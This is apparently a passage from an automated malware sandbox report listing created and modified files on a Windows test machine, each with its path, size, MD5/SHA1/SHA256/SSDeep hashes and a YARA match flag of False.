C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\nOWtjkGkh\jsWtpdCwPYsyb9M.mp4 100.00 KB MD5: f0fdbb5b34183de53aa6837e1536d256
SHA1: 92cbcca8b13a479389e3a39fda1029c8ae8b83fb
SHA256: 6acfb1f8dfb4276239b9edf624b993bcd1c2b0f33b2b7253486f9c0f83fa914b
SSDeep: 1536:hduC5GdrJ6K0rvSzmsncBbxsPDDjFycyCuSMCxm36hOKb1+mpAZ+PEMOrZ1vU5f:696KqfHboDDjCkZJ+mpAZ+PEMuvcf 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\nOWtjkGkh\V99IOj.flv 41.25 KB MD5: 9245daf2700cee66b6a2c19c868ba925
SHA1: 744685d8913444f70ca1b1609efbfaaf32cf5393
SHA256: 4eff581c82e44a3858cb9d0066febad58fcc3db046307e18e65a066ad53eb6c8
SSDeep: 768:+722yf2MCBd4iGaJ8ag5olvpVO2cFf2xbR0txuHaUX8w/mD5vj:+729fZCBdpJng56vPO994RVLX8p1L 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\qp8C\ci6IimcnO8zr.mp4 60.67 KB MD5: 0925634bebcc737a2966e6bf9383c95a
SHA1: 7223930abd14212f9e30829a74204b7e30e012bb
SHA256: db9330025c286271799aa14d61af3dbe45deac515072d52979031c13129d2b2c
SSDeep: 1536:P+ej+c/vtHsAV98gUAbj/U86XamMx2JfId9EAaEckpMm:P+ejd/FHBv8glbrU86KmMMe9FaXkn 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\KL GUyg5\LnHpzG.gif 85.85 KB MD5: 691669d0c5708884c8353faba101d582
SHA1: 2b2bc7e1981b8edba351cce9812c1641e528bdd5
SHA256: 01aa7b62d0136e168b2c987305edc82dd46ae06c3feb1c5901239477f62e04ef
SSDeep: 1536:E+v5Oq7DoB3diRKuMogYaaBJmqlwCHhEMvcrplLLld5Jp:bxQtiwzYaaBJmqesLErZz 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\xGbG96m2n\7zAHSAO8Qhdnj4k.png 12.14 KB MD5: 3812f9563a3107d79632249e75ddf46f
SHA1: 34530d24a08418c4ad2113e2fc352093f88eff66
SHA256: 91f87af96b6b10e977e3dbf5c1d46d04ecdcf14426df15533ed04da571875c9c
SSDeep: 192:WwcqaVbg59UiD3YM4+AavXGVuF1B8VaLAwUh5xN+RQRAdBW2dCHmz7Ni6XuI78E:WUKbgI+AMt45xMhnPCHmn9 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\xGbG96m2n\aW1PsgN2xsPJR.gif 96.12 KB MD5: 72590c7b3257f32940b1911c53280b1c
SHA1: 3064e80d3773983e42c59df2dce5bf3db368f30c
SHA256: 39a4b38487f88d02f84b1f0f322f473bfe2c8ead14013f7a76e9d43762e42a02
SSDeep: 1536:BYNPe8UIttpfcwhpalV0222kU4sc++Y8rliu0ZTDcIrhPlbub0CPUxwHJHwgt3IP:qN28VmwhMKU6r8cSUjPewpHwgtYP 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\xGbG96m2n\u8 nslHY.gif 3.82 KB MD5: 246648ddd31c0719a31ddbc510713d93
SHA1: 429a5f7e2e1df163485b187e5d7825d281d6d79e
SHA256: 30cddc30eb5470c50d3d38cadc6bcbcf90182231456641da937354884b292735
SSDeep: 96:pz4GXwoG8SuobjjJnZw2zghmj2ft7fouKsJWu2VP:t4GgJnuyjsqghmjy7guK4OP 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Microsoft\Internet Explorer\DOMStore\index.dat 32.08 KB MD5: a400c9823be2db6114e5b30572da8999
SHA1: 4c0d40f4ec89c8e9e660287e08b3ee2e35c941eb
SHA256: bae692a9873f38f1703d72357486c2b4a6eb79bf4dc1297ce3991756e1b924c1
SSDeep: 768:4DDRoWVbuESM3zCSr/cjvHAqg7hKRwyNBTE33xRh7w4UA8:+9fVbuESIzCSrEj4hOwy3Q97w4Ub 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Sun\Java\AU\au.cab 568.17 KB MD5: 69e7a3ada004f312a6e3837666d4ea24
SHA1: 9710d113c697f7d23fc079e0a6d2f661511cea00
SHA256: 6ba96a8903333f2e58d0aa07037139c90322eb33366d913011677eccd1470f48
SSDeep: 12288:0oLsRDQU+tKpG6jY4hyMPezVNK9TcS5RyjDUI6Eh/MOhTS:LLEP+opMMPgyTx6jDUbE2Ie 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Sun\Java\AU\au.msi 181.08 KB MD5: 707500d97e9e83a90c4d7c7ee9bea25b
SHA1: 6325b9c59b391118e533a98001d9203d333cb28e
SHA256: 14c08c6462667c63f59a76322b867a9fb6de42c0238774215d08f80cf704f685
SSDeep: 3072:zmsuLRA1D0EXs85bAg4LJzKiFDdpXbc7nAQUZSHR07wxUus3C/oW2qGC:6su1ABt8wbPUFLXbGUZSi2HxoW23C 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Sun\Java\jre1.7.0_45\Data1.cab 24.17 MB MD5: 727b52c3c61df02b5f3586f4032ef429
SHA1: d0a3c9b915dfe2e2c486d4a521a6b4fce4d4c7f4
SHA256: 2a246b4233c59057b5e8cbd58345e175e0a0e010748e78553daa8856614a91a5
SSDeep: 196608:1WdNm7l//upum9uxpfp4uZ8q7zEqaZswqLhQTcvlj9/z2H7DLKH8:Pl//upum9QtEqaeqc3/iH3mH8 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\KL GUyg5\aoQ9WvOr9RAjhS9\6rXGcCpaY5U-.png 51.24 KB MD5: ad227985dccdffe6a600c632fa29ed5c
SHA1: f7013ce256255c60aa1ed5ef78320f735562ef90
SHA256: 3e40c60efb8569cf845525a3c6f8c0eedc9e5626f839d7dcfd561197236f0cdb
SSDeep: 768:nA3z/A5DJ7ldsYvCPAo4AZoyJrURhLXIzl8CpjgIGng8eq:ADYN0qqZo4YRdkl8Cpjg88eq 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\KL GUyg5\aoQ9WvOr9RAjhS9\rzr43Df_s8poAvL8Y1F.jpg 15.56 KB MD5: 879b5f750e4c8ca27fb0beb1bce545eb
SHA1: ffffe8ec67732ac0f20249170f0ccf083ed0c3e0
SHA256: 6fc91ce19e0a2244775c00eb4dc52ee41cd675d9510eb95c45489a83ab4c92c1
SSDeep: 384:FL/Ked0LlvHI1kHynqD5PBXFSip8EE3FF2yL7+d9/KMHBbq:FL/KecQBnqtNp8EE3P2c+7i+Bu 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\xGbG96m2n\M-hu89hh2q0KW3MDUa\VqBAzwGqo.bmp 86.85 KB MD5: 3db51f4e1ecc68de5ac1f616d5d4651d
SHA1: 5a3e96f116238d2d247e5d73e32c29b0aa5df704
SHA256: 1975e9178ecf5f45af786475482c03a29d6fe2e0da40b6d5feeb43fb95875e1b
SSDeep: 1536:UQMJjltQQPPFYa5kCRdh59HGdRPkOKqurNn2IBA1yuDhFRypXV5fbTGnmeSPrb:URPPFYskCRb598RMOKTDO1ZypzjHH 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\xGbG96m2n\Ti8zEuhb9G6\ydXSSVPNKJrpO.gif 30.79 KB MD5: 2f89e3651f83a86791a1d2d80411acef
SHA1: 13709e723a7fa39edbad126887bd325ade535d3f
SHA256: 39f1ba85b0640e1076b5cbe97c98f35cd4ee4277d209c011f76264f8aa77cea7
SSDeep: 768:9LjPIzbLZk+ZeqSNA1Ce6JBbHTcCfAsfb5nLtZkc3LGGW:9LcnLOXDA1QxHTcCYm1L7EL 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Microsoft\Internet Explorer\DOMStore\36USA68T\imagesrv.adition[1].xml 91 bytes MD5: f2c3f43eecc5398f9fd893d661781b0a
SHA1: 0c8c91ca35b407a6e5c64250b6587dc2c794a935
SHA256: 861cd726f62a6661aa88bd22fcadba719f8c587ea03b51dfc071f0ec142cf0c3
SSDeep: 3:Dp76KeDA1Xju0QjlTXeWoTsncIFiRHIgHaRT:d8c1X60QjlbeWxcii96Z 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Microsoft\Internet Explorer\DOMStore\VGMTOI09\www.msn[1].xml 914 bytes MD5: 7398d7d1e24813703302bb4fedf090b5
SHA1: cd0ee95aff82aedd0f03e9d748e4dd84dee6cff7
SHA256: 9ba946ecdee696772cb6d27944c27f64ab5608fc0efec7c628d132305db78251
SSDeep: 24:dWVeGmbimHR7JipQ4duK/60kb+IU2V1fLoKDC4LZbD:Gmbi0vQ/60kb+B2Low1D 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\KL GUyg5\aoQ9WvOr9RAjhS9\K-e0Wu\CS68tY4DDQ.bmp 26.37 KB MD5: 27b6eee568bde00e834ed1f2a8ed00f7
SHA1: e2c75000eef46149445c2698c3acdd163e281942
SHA256: 2ff013bc71fab7350eaa705c304f488f6babe2ca79852896f17a115c03eaa31f
SSDeep: 768:KmLXHmqdUMXC8pFgYS4LPJ35zpwhBpRAFa9WN:K4cMNPzp5K8N 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\KL GUyg5\aoQ9WvOr9RAjhS9\K-e0Wu\f5IF7l Fg-1E1w\ZIdWI VbebKgRLmaFag.jpg 60.02 KB MD5: a8c1605317482b2c5081fd2bdc6f64ff
SHA1: 9cd59b71525672e337b83f2ef5e27143888a15f6
SHA256: e73bb66b4f1f7f704f6610249211c8749f3d6c46f32c000f4640a59522255a22
SSDeep: 1536:fYhfm4QSIcEUmT4SxiG/l1/X13AgwWMLeuRVp5EtiwjkMG4COF:AhOrSdEUtG/fX1AgfMKMVpuRGpY 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\My Shapes\Favorites.vss.godes 0 bytes MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SSDeep: 3:: 		False
...
Modified Files
»
Filename File Size Hash Values YARA Match Actions
C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\asdlfk poopvy.contact 1.22 KB MD5: 23c44633347ff1ffe149bf1db0262f5e
SHA1: e372bccc49c56f1f8d7a5738eec6f9473e68ec17
SHA256: c18f03fa4a6ce666a5f1c1fb4ed06a01486886f673dbd06ee4f60df13851205a
SSDeep: 24:CgtYIFykyRre62UKc/234afKP5dKWBe4ZwnRHBS9mh31+28hGOoqw/XZbD:Ztck1Udc4R5de0wRh2mtw7hGOoP/pD 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\sikvnb huvuib.contact 1.22 KB MD5: 9d9a9bec2b0d79dd7003a5ee54ee7eca
SHA1: 09ac5098a1a387f51a1660cba6de47839a843600
SHA256: f3cbb38343543d08645e894b66e32ab7900d5569a003da468152c35015d1a0a5
SSDeep: 24:CgtYIFykyRre62UKc/20SJfKP5dYIUqPVK+Z7lBN9DX5ptI/NDhM+HPdZbD:Ztck1UdP5dnUq9K+1DXWVVMEjD 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\-args_Zs.swf 12.71 KB MD5: f4bb1d70e15310a61727818b05ba8625
SHA1: daa0e8a345aa1a5c95cb645962fc4688eac1dc78
SHA256: cc85d09b6bb00fe889db36c6927c4665b1b7945106baed50cba13b881acfb16a
SSDeep: 192:OM7TjXQIP2/JUY0J0X+3E8aUio1vouGS1L9270H+I02WFUFqWusog8UB:B7yUYR+3E8DAujw73I02WFiNomB 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\9fAUwhZz7XQ47.flv 6.69 KB MD5: 5e2a07bd6d1df8db87ebfd0cae0b22b4
SHA1: d3a14c060ded9e0dad126843c0e933bc2a1fd733
SHA256: 44df0b77c0e52f986fd4accab9f44483d1e50da37a56461e8c736fced8440b1a
SSDeep: 192:T+NNL+jDpFE/nouCjbQ1JlYuD1HXQTu3I0uWV8:sEpIoDED1ZjXuf 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\al9QtC.gif 33.09 KB MD5: ab3621f7ec9386c686bd37524f92d02b
SHA1: 4ef352d57d5a66cd01e9cb6d28cf389bf5832bf2
SHA256: f6f6a8f1638ad4df06dd0c9ca6cf92fdd412ad0a94b078db08662e4994022260
SSDeep: 768:vRBvZrAnDcLmdKcA1R9EgYfzi7HIxPeeJkcr4XDebaLfAaX:vbvZrigPNR9ELi7oxZJkSmRX 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe 584.08 KB MD5: 36ef22b0ddbff60d04e712692559c276
SHA1: ba1288c83886ec1a935ea25187f9249f2f857987
SHA256: 23bf60318213d8ff401a2e4afabb508b1a2fcac0e1fd147cd278029ba57170a4
SSDeep: 12288:HyaXzUq+cmWJ/b1H2hx1gHlwNQSg6DMYM/CNR2X1fuNC:HyaXoq+WVbigHlwaSHYiR2FOC 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\Dnuc8.swf 85.87 KB MD5: c0fb84994c9815fa9405fd4252f8e0ff
SHA1: 2edf0cd47e47df55b459386005a0a671b8fcccbf
SHA256: 68045134bb4d8955d8d245daa67d2efe3fc6272642c306ad244cec6f0aefee45
SSDeep: 1536:yJKqefXWE/VW6cs4s6jicdo/s/cKkZEW7f+z8lARA0D+S5nhlnv:CKq+WE7cs4gcyUEKkZEWD+z8Ix93 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\JIZ4scK0VOvc.jpg 50.43 KB MD5: 523ebed04c2dfc887a9e3bcfb1c6de3d
SHA1: 72fff71bd4ca75abd03029e27c9e854f92f61c61
SHA256: 9ad66d5bb9de335a87e56a1720ce581b96da4a013e4f17a7a557b28ef28c6cb4
SSDeep: 1536:I1bo9nff40Rz4K/Kagrm0vhJhhC7jPSf0Hz:Ko9f+K/SrmqdI7jC0Hz 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\nbzD8p.wav 11.73 KB MD5: fcb161112e5187d94c94f7c717786e92
SHA1: dd9a1274cc875dcece5b603cbc637c7863d36788
SHA256: 00df356fbec247f92985989f06eb8f5664ed2add08bc366becf895c967f25213
SSDeep: 192:gF++g6JZXRhUQttxgQcYEZSpqLDEf3gHW8JF3DPsRMNTfiqUHNy1bf0LArXkXGMb:gF++zRqQ3ClZSgugtH3DPMMN2BtYf2eM 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\Ote7kPgqRa 0Oya j.avi 4.66 KB MD5: 0685bc254728853bd4117cb805fb127e
SHA1: 092650139e1baa68642a27984fe98b3152dbb53d
SHA256: dc790a187e4f50519dfc58c9c66c2dd6f6ae1f40fdf0a2b9e2aba98071071f55
SSDeep: 96:x9GG6j6F6D/0F+TSBIi9nZiDG32VR7xE20EePYM+vCKl:xcGV6D/uh9nZiQP4ePwvXl 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\PnL6Zh.flv 78.09 KB MD5: fe7298a6cbfcd957ab670c093b75f84b
SHA1: ca4f9ef103c5cf2b802c08342cdb8ea1752bfaf1
SHA256: 110863c3fb1ef993ab4471db1a13bcef8ebefaab0bc2160136c9d6f90ed9ee62
SSDeep: 1536:+M0ODjYPa8uHGFSTejQ2/SwPRvL9GMqJonmEdCQT2WxQp3eFaY++oxoU:aAMRAG4yjQzw1LaKnmEUQ/YUNjfU 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\rIBC47zYWHDhfd7P7Cw0.png 97.16 KB MD5: 0ebddbe27c8fda0fc49b4d2937dc3631
SHA1: ca3f9aa8aae31aa5ae90044656f75bd246da0c9a
SHA256: c846d368fbad1b6047c27bbefc0eef6ca59bc0c79c3bb043bf0b9d52feb59cb0
SSDeep: 3072:umE4XWC6QbTLoLbdS8KLUurpJZ6a5GGWo:xE+96QbQSU7W7 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\RrZY-uYtP04ki0fgCu.rtf 7.54 KB MD5: 3d08d1f67dce161663e746a46c6e86d0
SHA1: c70816efcc0fff8504ae0da3df3f3b68511fabfa
SHA256: 621f898f95261bf8efe84725c7a613e924c90202e695f8f56fe7f1ba22e665c9
SSDeep: 192:QH3gav+rRwh0q5qFSU8TswMX20jc/3yzpAur1P:QQa1nD0X22sCzXRP 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\j_udvQCV.xlsx 6.93 KB MD5: e4ea472286cc1d9c32f93d4a6b966a94
SHA1: 5bbb93ab965383f526c856ac4f8745b0280bfd4c
SHA256: 71a9d5d68c0248e795e6b8acc4f92f35ea484a3da31d53688ff517c8fbea0ebb
SSDeep: 192:Hvg06BAlitPnp4j17q/S9566/mhlAzo0+/g9fS525VUsGnYQd:Oqixn6574S95H/8qj+YA23UFDd 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\kei5.docx 23.47 KB MD5: 375261b2c29c3b5fdbb18f8b5fe24221
SHA1: 8867af644520ae178a9f0d7d7d8db28d17e18688
SHA256: 86ce17ead30abc9b2925cd68e260ed724672ac6fa54ed098916511109b344189
SSDeep: 384:FmWOakaPzdC2bnMadjmo0AdkgPjim9xYhyvCxXAECOVdDZr:FmWLkaPhC2bnMaigPumwseA+DZr 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\kX2tA98.odp 97.94 KB MD5: fdfd39d3753facfc7db7603f67e5d7e1
SHA1: acbd607c1c8bddac6fba9de58cef8d0b0495f7c3
SHA256: e87f053ee797af44fadb1ed22647190298bedccedeb9cf49853fabfa06844d42
SSDeep: 1536:NEhJxHu7HCcey3zKK2WDKAm6Ah8sXntwXiz+nkw1UuU34vDHj:NEhPu7iN+zx9JmbXnmXizwTwODHj 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\L7nPtbAUFXsB.xlsx 4.71 KB MD5: 20511a7d0b8b85c56c93dee6ae1c9548
SHA1: 86efc6fe886006acf87fec4a055cf260c99f3871
SHA256: 3c250f1241c0e96e5a556b625363152eb8813a04caae065fd06fcf357861a727
SSDeep: 96:HjTZXnf0An016lwnKJQAhtfuVestX6HDJTlkt5bPNNNIg2ABK9H5ODFA3q:HjTRs6lQKKAuVe/D5C1PNNNIx1L4d 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OwRe9Z9bAXQhesUnEazF.doc 79.84 KB MD5: 3c15515915c3cf92671be1a7e46291e6
SHA1: 46736c7ef866c543945d951cae50c90a55cd5279
SHA256: 08c540e88d3b6bfb6f49257e6078debc9e396d43dca36027fcfe62a8f6f4f2c7
SSDeep: 1536:/xasNQdXm4cdQ69L6wEkRMFFPcm/6ffEeUZBwE0DWYiJ/3:/xNem44Q6swEkKFe+4KZbJ/3 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\pKUj8876P.docx 21.51 KB MD5: 1dd297dba452f8acb0e42b84fbf93a2a
SHA1: 3753efe9669907e8bcf5d264bf594b070f952be2
SHA256: 13fcd605929767504e10d8accc96879681bc29afe1603b8396856e97a0c62f39
SSDeep: 384:b4w2YuN6lQQ3CBN+4068LN9UXX/gZ+/DARJnzoyvrcMP7VrsDdsUlO/QrWI6HYhs:b4wRuslSx0nLPKoasc43VI+/WqOs 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\PxpzY_JBUc8.ppt 65.60 KB MD5: 29e3a97632822a1a72b471a17c241bf6
SHA1: f674355139972529c0bec50a182fdc8030305517
SHA256: 56bc6998cbe94c83b8e698adbc00b2a760331cc778c4692290718d6057088a95
SSDeep: 1536:DQ4wNy5dAx2bV4lDr2Pvhl3hsK90i/LGtsBSA5UrWyI13Igy:DQ4h9ql/2Pp900LSA5nR13zy 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\U3qy.pptx 55.23 KB MD5: 423d7059ef086fedde78bc016ded3ef8
SHA1: 7dac0da06c6819ef9a2cbc5dde9f58fea6433243
SHA256: 1517d114fc95fc9fb37cacef98228c8df7f3067eee6e1eb6eae347aaf1b6e699
SSDeep: 1536:XXS+W84BBqI2P1HpOxdfA9VeYvROd5tJlY:X/W8aBn2RYxKzSdzDY 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\U9 Gu49ZvH33.docx 89.74 KB MD5: a85d8008bbb78759d77cefcc8d5bab88
SHA1: fdb22b287f1537f8c30ef7e015313d1efe257504
SHA256: dc7c8ecdc2c5802bbd8e997b8c632ebc2fd5f57d64c902c146579846b34ccd9c
SSDeep: 1536:TfmebmSCzn12KviKGRk3dg5zkUL7khx9DHQXdojXKhY3jDeLYZ0wsaFOM/HDRhab:TeZSCz12EiKrazd7ODwuywjDe6zFOEH+ 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\VW61dc17V6x.pdf 34.63 KB MD5: 0f52a0c72cff0e857ce91133198ab316
SHA1: 80a075db3df6e3defb8fc509c8eeaf32c6d3aa9e
SHA256: 9e067da28d9c48744c413705a720c8c7ed7dd57c883a9e48d675bde4a8e9c8fa
SSDeep: 768:8hY+4zUEfYIgLRQX7aYmNlFJDnYqGOIi2ICwqMnBELDhq+:GY+4AEfYISRQXGYmHfb9IMqUcq+ 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\ZUzJ97kgSmpFwdzhg.pps 1.96 KB MD5: dde79e7066cfeabc078af35757ffb0db
SHA1: 81e7450865da193332d767d367c8926c8c7f7aa3
SHA256: 0f09fbaa462c8462c25cc31e0596b2bb942fed9b29c518cb9279b306c17df345
SSDeep: 48:plboupVExgTDNlQz+26A/VKULw64uYEOUVJV4BOArmH9SeD:paupDDNurXIbkVJV4BdmH9Sm 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\_f1HsCMD.ots 75.82 KB MD5: 23f833fa7471303331e3c2a7f2f2b291
SHA1: 19fbc4a456c67b24fe2f1c72b6496d1843a36a0c
SHA256: 147141766ef6fb07e26cb9939c4472b7f7147cfa1beca8e6e74396bd339fc264
SSDeep: 1536:RjekRyuWOPbxDXVAnTE9jXd7L6MxwvlBpk3cRTAgVfmRpsa+mCIpXQvUg:RjC/OTxrVAnTWXdvK2sRdVfmLymHXQvF 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Documents\_jD_3EsBV.pdf 83.71 KB MD5: f341fdca10d0929fe92aba6f6ec7332a
SHA1: 686876013691daff305dca7e36a839c35ac9d438
SHA256: 98d540dbcef7378daf848dc882d04e55297cfdcdcc876c826b0a61a4db53463f
SSDeep: 1536:puF6DIQIwoO3sWt0EACbGus/v/PP0Bse/rtOkbDi68DVPRL7lQ:H0UoO3sW9LauMw5OOvOe 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Music\3TE1MNOOt738p.m4a 38.90 KB MD5: f793c0cf9d2365ff117c309f68bdfb81
SHA1: fced580a6e0565be37e92c85c08e4af3a192f568
SHA256: c9d6da8de8de0b1f89aeb28659ea0842ac9466ee949951af048e4dba176e58a2
SSDeep: 768:7M9Ai5vxFXUNAXeBN/pB6UIuzXgko6jfSHnNh5dKcUUbwa9bbPARspF4m:8AUvx1RuBhTljg+fev5dKcUPmbJpF4m 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Music\7N2xpAEAZRgVp.m4a 70.41 KB MD5: fea27628773a6950a859b0cbc8628a99
SHA1: 4e80f622788ac6656aa3516abc08820c9a94c72c
SHA256: d8740fef708fea9156f6d798cb1316d79c5d43951dae254a2d365f559f62d566
SSDeep: 1536:G58MH1vvFgZJWbK9oAXeZJIkR4IeWjAkzlje6p:m8MVvtX5ZakywjAkxh 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Music\vGLyTV3-l9LaIg.mp3 64.01 KB MD5: 564a469f38f3938a6fdc0fff6a77b539
SHA1: 8d220dd5e415072229f63d480299ac1110752514
SHA256: 4f178f7d378e858983483385156db6422913477ac77bac07146c1fd782ff19a0
SSDeep: 1536:h3g3y76w9v6KglbOKFZU9+hchWVdVwADO4A/UdxjzOlYI:h3Aw9SbpBs9+hckVdaIdxjzOlL 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Music\WeVqD nbZp92oNA.m4a 37.68 KB MD5: e1ed912bcb1a512d60c99bc851e998f3
SHA1: dfc2cbc318616a37a79a15f7120d8216a84d6ddb
SHA256: 28408b07578add8bb66d4c9d3e03522eaab84abbdcd84d4490cae04e15eb5453
SSDeep: 768:+y08+xi0mAgNaPiOGP9qpGssdYUX8QhMunC4OjHipt8SEaGRRkxdnn8:n/+xeAJbHpeYH7u5Ic8jaYRyZn8 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Music\xAv5C.mp3 33.10 KB MD5: e17d1fc112475753cb7a0131aaf86d86
SHA1: cebe4c6be82bed6d6d138e089045303c632f5088
SHA256: 131a8a90f8d21352222c70d20a095918e93e318adffd651215c12f861581eed1
SSDeep: 768:F41/PStwKMpI2uXcZHgvs/hcGc4nW4OT7CfchBOHSy3B9NGs8dX8Y:Fq/3HuMZAk/hcGwUchkHF3B9NGf 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Music\zlWIzi2Amt.mp3 31.62 KB MD5: 955ec29839d1e9ca5502666bd120dd17
SHA1: 6d3cac1629745da50bd3303ad69e7e01388c2aa9
SHA256: d2039ecb2dc794ef55b17be0d792524884d2a20e75ffdf58614454ea749bf6c1
SSDeep: 768:ZlPNV1DzrJ9O/eyBgyDnLiYULbqRwH8PK62dUOGvLxrEc8Zr:FV1rJQ/VKYi+WkOGlEF5 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\-8vn9TCLWYBRe.avi 56.98 KB MD5: bb1e05e232efc2889c5b2a6f1c392319
SHA1: 7d7f13a2cee57540b50e6660b165c76e9208837e
SHA256: 9967b40a509062f46afd4e0d5fc110d33f548ab115255a9211152e6387ab02cc
SSDeep: 1536:iWDRpx5I0ECrK/mqI4HQOIb6/Yvgf4liNBgZrrf6Q:iKRpx5nsmtOd/YYf4liNet9 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\wxzc0rq6VHwTta.swf 75.49 KB MD5: af8f3acd4d45cf512120759c1249e086
SHA1: 10f603e6942e7427f35a699d663d0713ac4e3d74
SHA256: 1883124036bc3a243f4eb502e04b2b2435fefeee4366437b70563b197beeaa9d
SSDeep: 1536:txTI8SdXfPPflelS65jG0J4CONyPRJ+gm0CCVy4nEr17SuKcuMM44NK:txTGFPP8T5OCON2J3od4nvu2/o 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Videos\_6jk0hB.avi 91.26 KB MD5: 7e77e80cdf729d77b2b34de26ae2b9ee
SHA1: 1cc614098f38e4bde3da81ae209334acc6fad24a
SHA256: 5098f452e7232f4bf3bff03e4e7e9489ebb10de430d0af7688deb65fa8c0e3a0
SSDeep: 1536:rR8U9lSM4shuTFRCeKM4HKoscIHROY6I81Ng3r6E9IRoJ1TqjP2+IZYDXcyuDOqv:raiSMofqH8cIQY6tIt94qwIGDXcyuDOi 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\1i2rrq2gY8nQI1n1s3.jpg 36.28 KB MD5: f090c71f08613ec575aaef6b78f50c7b
SHA1: 3c852995381ce34d26e91f3b24381b7b202ef094
SHA256: 6719aba98d0efee36cbf2c2deab0b1f3ddb8f747d06edd8b00d46e8e11e24ffb
SSDeep: 768:7NUOAJWZTDMEFF6CnjpkVkZaqvDhIYY1jU7N7DeZngLnkJoOcq9:VAJW1MEFF6CGm1Yd0eZninkJL 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\2i1vmdTQBze3Oqp_rHR.mp3 38.13 KB MD5: 527681efcb33f1ebe73d399991c25ef0
SHA1: 87a8006983fe5ce5dc6ba6ce79ff9a21f76fe8b2
SHA256: 7a00e3fd1f7a1b174048e1278e932b96d2b9beac2582c7d608d64937abdf08fc
SSDeep: 768:VWnxCdNfHWkrmXIYuT/I/CYyJBrKkSEkPnCKpwvmQl3bK+s2:VWnaf2krmXlKsnyzBSEkPCKlQl3bz 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\5Ka6.jpg 55.03 KB MD5: 5164a64cdc7bdade3eec5e8f19c63255
SHA1: 16bea17b53eeecf6357aa0b76e7a9c76d46158f7
SHA256: 21527cc8e007003a14e19b5c95f293b7156c8393a69059d2348f7b098e310144
SSDeep: 768:n1dLj0FnZTFT0iHXMHrSrF4+PB+hStyLG2cu98bubDnX8P96YngoFGyxJWsYnf55:n1dnI9QLmF4M0PX82qGy7/ahJr 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\FDSheH9RWpg6rD.mp3 42.22 KB MD5: 744daaa2fd495c11621da3646193b152
